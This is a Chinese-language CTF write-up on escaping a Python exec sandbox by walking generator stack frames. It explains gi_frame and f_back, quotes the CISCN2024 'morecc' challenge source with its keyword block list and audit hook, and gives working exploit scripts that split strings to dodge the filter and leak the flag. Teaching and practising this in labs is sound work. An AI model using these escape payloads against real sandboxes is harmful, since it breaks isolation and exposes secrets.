基础理论

什么是生成器

生成器是python中的一种特殊的迭代器,在每次生成值以后会保留当前状态,以便下次调用可以继续生成值.
python中生成器通过yield关键词进行定义,每次调用的时候返回一个值,并保持当前状态的同时暂停函数的执行.当下一次调用生成器的时候,函数会从上次暂停的位置继续执行,直到遇到另一个生成器或是遇到了函数的结束.
以下面的代码为例:

def f():
    a=1
    while True:
        yield a
        a+=1
f=f()
print(next(f)) #1
print(next(f)) #2
print(next(f)) #3

类似于列表推导式,我们也可以通过生成器表达式来方便的定义一个生成器,而不是写一个显式的函数.使用方法如下

a=(i+1 for i in range(100))
#next(a)
for value in a:
    print(value)

生成器的属性

gi_code生成器对应的code对象.
gi_frame生成器对应的栈帧(frame对象)
gi_running生成器的函数是否正在执行
gi_yieldfrom如果生成器正在从另一个生成器对象中 yield值,则为该生成器对象的引用,否则为None

其中最为重要的就是gi_frame对象,他指向生成器当携程的栈帧对象,包含了局部变量,全局变量以及字节码指令信息等.
在python中栈帧包含了以下的几个重要属性

f_locals:一个字典,包含了函数或方法的局部变量.键是变量名,值是变量的值.
f_globals:一个字典,包含了函数或方法所在模块的全局变量.键是全局变量名,值是变量的值.
f_code:一个代码对象（code object）,包含了函数或方法的字节码指令、常量、变量名等信息.
f_lasti:整数,表示最后执行的字节码指令的索引.
f_back:指向上一级调用栈帧的引用,用于构建调用栈.

利用栈帧沙箱逃逸

逃逸的核心就是利用f_back返回到上一帧来获取在当前栈中没有的数据.
来看一个例子:

s3cret="this is flag"

codes='''
def waff():
    def f():
        yield g.gi_frame.f_back

    g = f()  #生成器
    frame = next(g) #获取到生成器的栈帧对象
    b = frame.f_back.f_back.f_globals['s3cret'] #返回并获取前一级栈帧的globals,其实f_locals也好使.
    return b
b=waff()
'''
locals={}
code = compile(codes, "test", "exec")
exec(code,locals)
print(locals["b"])

我们解读一下上面的每次返回.frame被赋值为f的栈帧的上一帧,也就是waff的栈帧.frame在第一次回退的时候回退到了虚拟文件test的栈帧.在python的compile函数中,第二个参数是用来指定编译的代码的虚拟文件名的.frame在第二次回退的时候回退到了当前python文件的栈帧中.此时可以通过f_globals获取全局变量.使用f_locals也可以达到同样的效果,因为此时已经在<modules>中,所以全局变量和局部变量没有区别.

例题

CISCN2024 初赛 morecc

给出了源码如下.
main.py

import os
import subprocess
from flask import Flask, request, jsonify
from uuid import uuid1

app = Flask(__name__)

runner = open("/app/runner.py", "r", encoding="UTF-8").read()#读了另一个程序的代码
flag = open("/flag", "r", encoding="UTF-8").readline().strip()


@app.post("/run")
def run():
    id = str(uuid1())
    try:
        data = request.json
        open(f"/app/uploads/{id}.py", "w", encoding="UTF-8").write(
            runner.replace("THIS_IS_SEED", flag).replace("THIS_IS_TASK_RANDOM_ID", id))
#上面做的工作实际是将flag文件内容作为种子,同时使用随机数替代runner.py中的内容,然后生成了一个新的文件.本质上还是一种防御手段
        open(f"/app/uploads/{id}.txt", "w", encoding="UTF-8").write(data.get("code", ""))
#用于和用户产生交互的对外接口
        run = subprocess.run(
            ['python', f"/app/uploads/{id}.py"],
            stdout=subprocess.PIPE,
            stderr=subprocess.PIPE,
            timeout=3
        )
        result = run.stdout.decode("utf-8")
        error = run.stderr.decode("utf-8")
        print(result, error)
#运行程序

        if os.path.exists(f"/app/uploads/{id}.py"):
            os.remove(f"/app/uploads/{id}.py")
        if os.path.exists(f"/app/uploads/{id}.txt"):
            os.remove(f"/app/uploads/{id}.txt")
        return jsonify({
            "result": f"{result}\n{error}"
        })#临时文件删除
    except:
        if os.path.exists(f"/app/uploads/{id}.py"):
            os.remove(f"/app/uploads/{id}.py")
        if os.path.exists(f"/app/uploads/{id}.txt"):
            os.remove(f"/app/uploads/{id}.txt")
        return jsonify({
            "result": "None"
        })#错误处理


if __name__ == "__main__":
    app.run("0.0.0.0", 5000)

runner.py

def source_simple_check(source):

    """
    Check the source with pure string in string, prevent dangerous strings
    :param source: source code
    :return: None
    """

    from sys import exit
    from builtins import print

    try:
        source.encode("ascii")
    except UnicodeEncodeError:
        print("non-ascii is not permitted")
        exit()

    for i in ["__", "getattr", "exit"]:
        if i in source.lower():
            print(i)
            exit()
#对pyjail中的大多数攻击进行了防御

def block_wrapper():
    """
    Check the run process with sys.audithook, no dangerous operations should be conduct
    :return: None
    """

    def audit(event, args):

        from builtins import str, print
        import os

        for i in ["marshal", "__new__", "process", "os", "sys", "interpreter", "cpython", "open", "compile", "gc"]:
            if i in (event + "".join(str(s) for s in args)).lower():
                print(i)
                os._exit(1)
    return audit
#对命令执行的防御

def source_opcode_checker(code):
    """
    Check the source in the bytecode aspect, no methods and globals should be load
    :param code: source code
    :return: None
    """

    from dis import dis
    from builtins import str
    from io import StringIO
    from sys import exit

    opcodeIO = StringIO()
    dis(code, file=opcodeIO)
    opcode = opcodeIO.getvalue().split("\n")
    opcodeIO.close()
    for line in opcode:
        if any(x in str(line) for x in ["LOAD_GLOBAL", "IMPORT_NAME", "LOAD_METHOD"]):
            if any(x in str(line) for x in ["randint", "randrange", "print", "seed"]):
                break
            print("".join([x for x in ["LOAD_GLOBAL", "IMPORT_NAME", "LOAD_METHOD"] if x in str(line)]))
            exit()
#从opcode的层面进行防御

if __name__ == "__main__":

    from builtins import open
    from sys import addaudithook
    from contextlib import redirect_stdout
    from random import randint, randrange, seed
    from io import StringIO
    from random import seed
    from time import time

    source = open(f"/app/uploads/THIS_IS_TASK_RANDOM_ID.txt", "r").read()#读取用户输入的内容
    source_simple_check(source)#一次防御
    source_opcode_checker(source)#二次防御
    code = compile(source, "<sandbox>", "exec")#编译
    addaudithook(block_wrapper())#三次防御
    outputIO = StringIO()
    with redirect_stdout(outputIO):
        seed(str(time()) + "THIS_IS_SEED" + str(time()))
        exec(code, {
            "__builtins__": None,#清空builtins,四次防御
            "randint": randint,
            "randrange": randrange,
            "seed": seed,
            "print": print
        }, None)
    output = outputIO.getvalue()

    if "THIS_IS_SEED" in output:
        print("这 runtime 你就嘎嘎写吧， 一写一个不吱声啊，点儿都没拦住！")
        print("bad code-operation why still happened ah?")
#五次防御    
    else:
        print(output)

注释直接标在代码中了.
由于只是在<sandbox>中运行的时候清空了builtins,因此我们想到了逃逸出沙箱读flag
首先写成了初步的exp

import requests  
url = "http://192.168.111.129:5000/run"  
payload='''def test():  
    def f():  
        yield g.gi_frame.f_back  
    g = f()  
    frame = [x for x in g][0]  
    b=frame.f_back.f_back.f_back.f_code.co_consts  
    print(b)  
test()'''  
rep=requests.post(url,json={"code":payload})  
print(rep.text)

进行解读:我们可以看到一共进行了四次回退,分别退到了<listcomp>,test(),<sandbox><module>,<module>,此时就回到了主程序的栈帧.然后通过f_code获得了主程序的代码.
co_consts是一个常量列表,用于获取一个代码对象中的所有的常量.那么我们将其打印的时候就能够得到作为常量被替换的flag
然而这个payload又有一个问题,就是THIS_IS_SEED也是一个出现过的常量,那么就也会出现在列表中,就会出现第五次防御而不能被成功的打出.
修改后的代码如下:

import requests
url = "http://192.168.111.129:5000/run"
payload='''def test():
    def f():
        yield g.gi_frame.f_back
    g = f()
    frame = [x for x in g][0]
    b=frame.f_back.f_back.f_back.f_globals["_"+"_buil"+"tins_"+"_"]
    d=b.str
    b=frame.f_back.f_back.f_back.f_code.co_consts  
    c=d(b)
    for i in c:
        print(i,end=" ")
test()'''
rep=requests.post(url,json={"code":payload})
print(rep.text)

我们在逃逸到了主程序后可以从中获取builtins,进而获取到str函数进行字符串的拼接.在两个字符之间拼接一个空格输出即可不触发防御成功逃逸,得到flag.